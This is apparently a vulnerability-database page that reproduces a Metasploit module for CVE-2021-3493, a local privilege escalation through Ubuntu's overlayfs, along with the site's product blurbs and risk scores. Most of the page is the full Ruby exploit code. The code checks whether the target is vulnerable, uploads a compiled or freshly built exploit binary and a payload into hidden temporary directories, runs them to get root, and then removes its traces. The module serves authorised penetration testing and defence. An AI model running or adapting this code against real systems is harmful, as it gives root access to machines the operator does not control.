Lucene search
K

2021 Ubuntu Overlayfs LPE

🗓️ 08 Dec 2021 17:42:44Reported by ssd-disclosure, bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 226 Views

Exploit for 2021 Ubuntu Overlayfs Local Privilege Escalatio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '2021 Ubuntu Overlayfs LPE',
        'Description' => %q{
          This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The
          vulnerability is the result of failing to verify the ability of a user to set the
          attributes in a running executable. Specifically, when Overlayfs sends the set attributes
          data to the underlying file system via `vfs_setxattr`, it fails to first verify the data
          by calling `cap_convert_nscap`.
          This vulnerability was patched by moving the call to `cap_convert_nscap`
          into the `vfs_setxattr` function that sets the attribute, forcing verification every time the
          `vfs_setxattr` is called rather than trusting the data was already verified.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'ssd-disclosure',
          'bwatters-r7' # Aka @tychos_moose, Metasploit Module
        ],
        'DisclosureDate' => '2021-04-12',
        'Platform' => [ 'linux' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2021-3493' ],
          [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/' ],
          [ 'URL', 'https://github.com/briskets/CVE-2021-3493' ]
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'Targets' => [
          [
            'x86_64',
            {
              'Arch' => [ ARCH_X64 ]
            }
          ],
          [
            'aarch64',
            {
              'Arch' => [ ARCH_AARCH64 ]
            }
          ]
        ],
        'DefaultTarget' => 0
      )
    )
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    arch = kernel_hardware

    unless arch.include?('x86_64') || arch.include?('aarch64')
      return CheckCode::Safe("System architecture #{arch} is not supported")
    end

    release = kernel_release
    version = kernel_version

    unless userns_enabled?
      return CheckCode::Safe('Unprivileged user namespaces are not permitted')
    end

    vprint_good('Unprivileged user namespaces are permitted')

    # If the target is Ubuntu...
    unless version =~ /[uU]buntu/
      return CheckCode::Safe('Target is not Ubuntu!')
    end

    version_array = release.split('-')
    if version_array.length < 2
      fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')
    end
    vprint_status("Version array: #{version_array}")
    major_version = Rex::Version.new(version_array[0])
    vprint_status("major_version: #{major_version}")
    minor_version = version_array[1]
    vprint_status("minor_version: #{minor_version}")
    lower_bound_version = Rex::Version.new(3.13)
    upper_bound_version = Rex::Version.new(5.14)
    if major_version > upper_bound_version || major_version < lower_bound_version
      return CheckCode::Safe("The target version #{major_version} is outside the vulnerable version range #{lower_bound_version}-#{upper_bound_version}")
    end

    return CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    base_dir = datastore['WritableDir'].to_s
    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    exploit_path = "#{exploit_dir}/#{executable_name}"
    if file_exist?(exploit_dir)
      fail_with(Failure::BadConfig, 'Exploit dir already exists')
    end
    mkdir(exploit_dir)
    register_dir_for_cleanup(exploit_dir)

    # Upload exploit
    arch = kernel_hardware
    vprint_status("Detected architecture: #{arch}")
    if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
      fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
    end
    if live_compile?
      vprint_status('Live compiling exploit on system...')
      upload_and_compile(exploit_path, exploit_source('CVE-2021-3493', 'cve_2021_3493.c'))
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      if arch.include?('x86_64')
        precompiled_binary = 'cve_2021_3493.x64.elf'
        vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
        upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)
      elsif arch.include?('aarch64')
        precompiled_binary = 'cve_2021_3493.aarch64.elf'
        vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
        upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)
      else
        fail_with(Failure::NoTarget, "Unknown architecture: '#{arch}'")
      end

    end
    register_file_for_cleanup(exploit_path)

    # Upload payload
    payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit...')
    random_string = rand_text_alphanumeric(5..10)
    cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir} #{random_string}"
    vprint_status("Running: #{cmd_string}")
    begin
      output = cmd_exec(cmd_string)
      vprint_status(output)
    rescue Error => e
      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)
      print_error("Exploit failed: #{e}")
    ensure
      # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
      cmd_exec("rm -rf '#{exploit_dir}'")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
6.7Medium risk
Vulners AI Score6.7
CVSS 27.2
CVSS 3.17.8 - 8.8
EPSS0.43988
SSVC
226